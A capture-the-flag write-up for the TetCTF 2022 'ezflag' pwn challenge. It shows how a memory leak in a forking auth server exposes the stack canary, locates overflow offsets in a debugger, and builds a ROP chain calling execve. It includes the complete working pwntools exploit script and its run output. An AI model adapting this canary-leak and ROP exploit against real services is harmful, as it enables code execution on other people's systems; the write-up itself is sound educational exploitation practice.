Tags: canary pwn rop
Rating:
Full detailed writeup including part 1 can be found at: https://nandynarwhals.org/tetctf-2022-ezflag/.
Note: Unfortunately, I didn't solve this during the few hours I played during the competition since
the `auth` server was crashed by some other players early during the CTF. However, I think the
exploit should work remotely barring the pwntools dependency.
Once on the server, we can exfiltrate the `auth` binary that's listening on port 4444 of the remote
server.
To simulate the remote service, we can create a flag at `/flag2`.
```console
# echo 'TetCTF{Fake_Flag_Because_Service_Is_Down}' > /flag2
```
When running and interacting with the service, we notice that something odd is going on with the
output. It looks like it's leaking `0x100` bytes of memory along with the `'Y` or `'N'` return code.
```console
$ printf 'admin\nadmin\n' | nc localhost 4444 | xxd
00000000: 5964 6d69 6e0a 6164 6d69 6e0a ff80 5b9a Ydmin.admin...[.
00000010: a011 b945 fc7f 0000 2497 0000 0000 0000 ...E....$.......
00000020: 0300 0000 0000 0000 a011 b945 fc7f 0000 ...........E....
00000030: 8c11 b945 fc7f 0000 8860 4900 0000 0000 ...E.....`I.....
00000040: b400 0000 0000 0000 88c6 4400 0000 0000 ..........D.....
00000050: 2000 0000 3000 0000 8011 b945 fc7f 0000 ...0......E....
00000060: c010 b945 fc7f 0000 0031 2918 ff80 5b9a ...E.....1)...[.
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 4898 3202 0000 0000 2497 0000 0000 0000 H.2.....$.......
00000090: 249c 4900 0000 0000 f00f b945 fc7f 0000 $.I........E....
000000a0: 802b 4c00 0000 0000 0a00 0000 0000 0000 .+L.............
000000b0: 2013 4c00 0000 0000 7260 4900 0000 0000 .L.....r`I.....
000000c0: 402f 4c00 0000 0000 1810 4c00 0000 0000 @/L.......L.....
000000d0: 0000 0000 0000 0000 036d 4100 0000 0000 .........mA.....
000000e0: 1000 0000 0000 0000 2013 4c00 0000 0000 ........ .L.....
000000f0: 2497 0000 0000 0000 0000 0000 0000 0000 $...............
```
If we send a large amount of data, we get a stack smashing detected message so it appears that we
can trigger a buffer overflow. Next, we need to determine if we can use the info leak to leak the
stack canary.
```console
$ printf 'admin\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n' | nc localhost 4444 | xxd
...
Connection accepted from 127.0.0.1:38694
*** stack smashing detected ***: terminated
```
If we try to send the smallest input possible that triggers the memory leak, we can see that there
is a canary-looking value at offset `0x8` and `0x68` (`0x9a5b80ff18293100`). This value should not
change between requests since the server forks and retains the parent's memory layout and contents.
```console
$ printf '\n\n' | nc localhost 4444 | xxd -g 8 -e
00000000: 3630373833000a4e 9a5b80ff18293100 N..38706.1)...[.
00000010: 00007ffc45b911a0 0000000000009732 ...E....2.......
00000020: 0000000000000003 00007ffc45b911a0 ...........E....
00000030: 00007ffc45b9118c 0000000000496088 ...E.....`I.....
00000040: 00000000000000bb 000000000044c688 ..........D.....
00000050: 0000003000000020 00007ffc45b91180 ...0......E....
00000060: 00007ffc45b910c0 9a5b80ff18293100 ...E.....1)...[.
00000070: 0000000000000000 0000000000000000 ................
00000080: 0000000002329848 0000000000009732 H.2.....2.......
00000090: 0000000000499c24 00007ffc45b90ff0 $.I........E....
000000a0: 00000000004c2b80 000000000000000a .+L.............
000000b0: 00000000004c1320 0000000000496072 .L.....r`I.....
000000c0: 00000000004c2f40 00000000004c1018 @/L.......L.....
000000d0: 0000000000000000 0000000000416d03 .........mA.....
000000e0: 0000000000000010 00000000004c1320 ........ .L.....
000000f0: 0000000000009732 0000000000000000 2...............
```
If we do a quick check in the debugger, we can confirm that the value is indeed the stack canary.
```console
Thread 2.1 "auth" hit Breakpoint 1, 0x0000000000401f85 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
...
$rsi : 0x9a5b80ff18293100
...
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0063 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffc45b91010│+0x0000: 0x0000000000000001 ← $rsp
0x00007ffc45b91018│+0x0008: 0x000003e800002190
0x00007ffc45b91020│+0x0010: 0x0000000000000000 ← $rdx
0x00007ffc45b91028│+0x0018: 0x0000000000008801
0x00007ffc45b91030│+0x0020: 0x0000000000000000
0x00007ffc45b91038│+0x0028: 0x9a5b80ff18293100
0x00007ffc45b91040│+0x0030: 0x0000000000000000
0x00007ffc45b91048│+0x0038: 0x000000000040200d → mov edx, 0x100
───────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401f7c je 0x401f98
0x401f7e xor eax, eax
0x401f80 mov rsi, QWORD PTR [rsp+0x28]
●→ 0x401f85 xor rsi, QWORD PTR fs:0x28
0x401f8e jne 0x401fc0
0x401f90 add rsp, 0x38
0x401f94 ret
0x401f95 nop DWORD PTR [rax]
0x401f98 cmp WORD PTR [rsp+0xb], 0x6e
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "auth", stopped 0x401f85 in ?? (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401f85 → xor rsi, QWORD PTR fs:0x28
[#1] 0x40200d → mov edx, 0x100
[#2] 0x4018ab → mov edi, ebp
[#3] 0x402860 → mov edi, eax
[#4] 0x401dde → hlt
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
```
Next, we need to find the offset of the canary. First, we send a de Brujin sequence and wait for the
same breakpoint as before to trigger.
```console
$ printf '\naaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n' | nc localhost 4444
```
In the debugger, we can see that the stack canary is at offset 24.
```console
gef➤ info reg $rsi
rsi 0x6161616161616164 0x6161616161616164
gef➤ pattern offset 0x6161616161616164
[+] Searching for '0x6161616161616164'
[+] Found at offset 24 (little-endian search) likely
[+] Found at offset 17 (big-endian search)
gef➤
```
Repeating this step and fixing the canary also yields the saved return pointer at offset 40. Now, we
can craft the ROP payload. A useful configuration of the registers at the point of the controlled
return is the contents of the `rdi` register. It appears to be pointing into the buffer of our user
controlled data. We can abuse this in crafting a shorter ROP chain.
```console
gef➤
0x0000000000401f94 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x9606
$rcx : 0x00007ffc45b9107e → 0x7ffc45b9118c0a0a
$rdx : 0x00007ffc45b91048 → 0x0000000000402000 → call 0x44c430
$rsp : 0x00007ffc45b91048 → 0x0000000000402000 → call 0x44c430
$rbp : 0x29
$rsi : 0x0
$rdi : 0x00007ffc45b91055 → "\nadminAAAAAAAAAAAAAAAAAAA"
$rip : 0x0000000000401f94 → ret
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x246
$r12 : 0x00007ffc45b91050 → "admin\nadminAAAAAAAAAAAAAAAAAAA"
$r13 : 0x00007ffc45b911a0 → 0x0100007f06960002
$r14 : 0x00007ffc45b9118c → 0x5c11000200000010
$r15 : 0x0000000000496088 → "Connection accepted from %s:%d\n"
$eflags: [carry PARITY adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0063 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffc45b91048│+0x0000: 0x0000000000402000 → call 0x44c430 ← $rdx, $rsp
0x00007ffc45b91050│+0x0008: "admin\nadminAAAAAAAAAAAAAAAAAAA" ← $r12
0x00007ffc45b91058│+0x0010: "minAAAAAAAAAAAAAAAAAAA"
0x00007ffc45b91060│+0x0018: "AAAAAAAAAAAAAA"
0x00007ffc45b91068│+0x0020: 0x3100414141414141 ("AAAAAA"?)
0x00007ffc45b91070│+0x0028: 0x42429a5b80ff1829
0x00007ffc45b91078│+0x0030: 0x0a0a424242424242
0x00007ffc45b91080│+0x0038: 0x00007ffc45b9118c → 0x5c11000200000010
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
● 0x401f85 xor rsi, QWORD PTR fs:0x28
0x401f8e jne 0x401fc0
0x401f90 add rsp, 0x38
→ 0x401f94 ret
↳ 0x402000 call 0x44c430
0x402005 mov rdi, r12
0x402008 call 0x401f10
0x40200d mov edx, 0x100
0x402012 mov rsi, r12
0x402015 mov edi, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "auth", stopped 0x401f94 in ?? (), reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401f94 → ret
[#1] 0x402000 → call 0x44c430
[#2] 0x4018ab → mov edi, ebp
[#3] 0x402860 → mov edi, eax
[#4] 0x401dde → hlt
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
```
When crafting the exploit, we also have to fix up the stack a bit as it is slightly off alignment,
hence we have to look for a stack move gadget. Once the stack is fixed up, we can craft an
`syscall(execve, "our controlled buffer in rdi", 0, 0)` ROP chain to run a program. The obvious data
to place in the controlled buffer is `/bin/sh` but an interactive shell is a little annoying to deal
with since we don't have control over `stdin` and `stdout` yet over the network connection. Since we
have shell access already on the remote system, we can just create a helper shell script to execute
instead that copies `/flag2` to a temporary location and changes it to be world-readable. We'll name
this file `/tmp/give`.
```console
$ printf '#!/bin/bash\ncp /flag2 /tmp/flag2;chmod 777 /tmp/flag2' > /tmp/give; chmod +x /tmp/give
```
Now, we can write the full exploit to trigger the `execve` of this shell script:
```python
#!/usr/bin/env python
from pwn import *
context.clear()
context.arch = 'amd64'
# context.log_level = 'debug'
# Make a shell script executable.
# printf '#!/bin/bash\ncp /flag2 /tmp/flag2;chmod 777 /tmp/flag2' > /tmp/give; chmod +x /tmp/give
def main():
# Generate the ROP chains.
# First, generate the chain to fix up the stack.
rop = ROP('./auth', badchars=b'\n')
rop.raw(rop.search(move=68).address)
log.info("Constructed ROP payload to fix stack: \n{}".format(rop.dump()))
stack_rop_payload = flat(rop.build())
log.info("Length of ROP fix stack payload: {}".format(hex(len(stack_rop_payload))))
# Next, generate the ROP chain to call execve.
# RDI contains the address of a couple bytes into the buffer, which is perfect.
# We want to execute syscall(execve, n_bytes_into_buffer, 0, 0)
rop = ROP('./auth', badchars=b'\n')
rop(rax=constants.SYS_execve, rsi=0, rdx=0)
rop.raw(rop.syscall.address)
# Finally, we can JMP RSP to our shellcode.
#rop.raw(rop.jmp_rsp.address)
log.info("Constructed ROP payload: \n{}".format(rop.dump()))
rop_payload = flat(rop.build())
# from IPython import embed; embed()
log.info("Length of ROP payload: {}".format(hex(len(rop_payload))))
# Leak the canary with a short write to expose the canary at buffer + 8.
p = remote('localhost', 4444)
canary_payload = b'\n\n'
p.send(canary_payload)
p.recv(8)
canary = u64(p.recv(8))
log.info('Canary: {}'.format(hex(canary)))
p.close()
# Trigger the overflow.
p = remote('localhost', 4444)
# Fix the canary.
payload = b'\n' + b'A'* 24 + p64(canary) + b'B'*8
# ROP Chain.
payload += stack_rop_payload
# This is the start of the n bytes into the buffer we referenced above.
# We specify /tmp/give as the program to execute since it's simpler than attempting to mess with
# the fd to get an interactive shell. We already have a reverse shell through ezflag1.
# Also, small padding to account for the non-aligned stack we are working with.
payload += b'/tmp/give\x00'.ljust(0x48, b'C')
payload += rop_payload
# Add the shellcode
payload = payload.ljust(0x100 - 1, b'\x90')
payload += b'\n'
log.info('Length of payload: {}'.format(hex(len(payload))))
p.send(payload)
log.success('Exploit complete. Please check /tmp/flag2.')
if __name__ == '__main__':
main()
```
We can run the exploit and grab the world-readable flag.
```console
$ ls -la /tmp/flag2
ls: cannot access '/tmp/flag2': No such file or directory
$ python exploit.py
[*] '/vagrant/tetctf/ezflag1/auth'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 120 cached gadgets for './auth'
[*] Constructed ROP payload to fix stack:
0x0000: 0x413883 add rsp, 0x38; pop rbx; pop rbp; ret
[*] Length of ROP fix stack payload: 0x8
[*] Constructed ROP payload:
0x0000: 0x4497a7 pop rax; ret
0x0008: 0x3b SYS_execve
0x0010: 0x40f67e pop rsi; ret
0x0018: 0x0
0x0020: 0x40176f pop rdx; ret
0x0028: 0x0
0x0030: 0x4012d3 syscall
[*] Length of ROP payload: 0x38
[+] Opening connection to localhost on port 4444: Done
[*] Canary: 0x9a5b80ff18293100
[*] Closed connection to localhost port 4444
[+] Opening connection to localhost on port 4444: Done
[*] Length of payload: 0x100
[+] Exploit complete. Please check /tmp/flag2.
[*] Closed connection to localhost port 4444
$ cat /tmp/flag2
TetCTF{Fake_Flag_Because_Service_Is_Down}
```
**Flag:** `Sadly, didn't solve it during the competition.`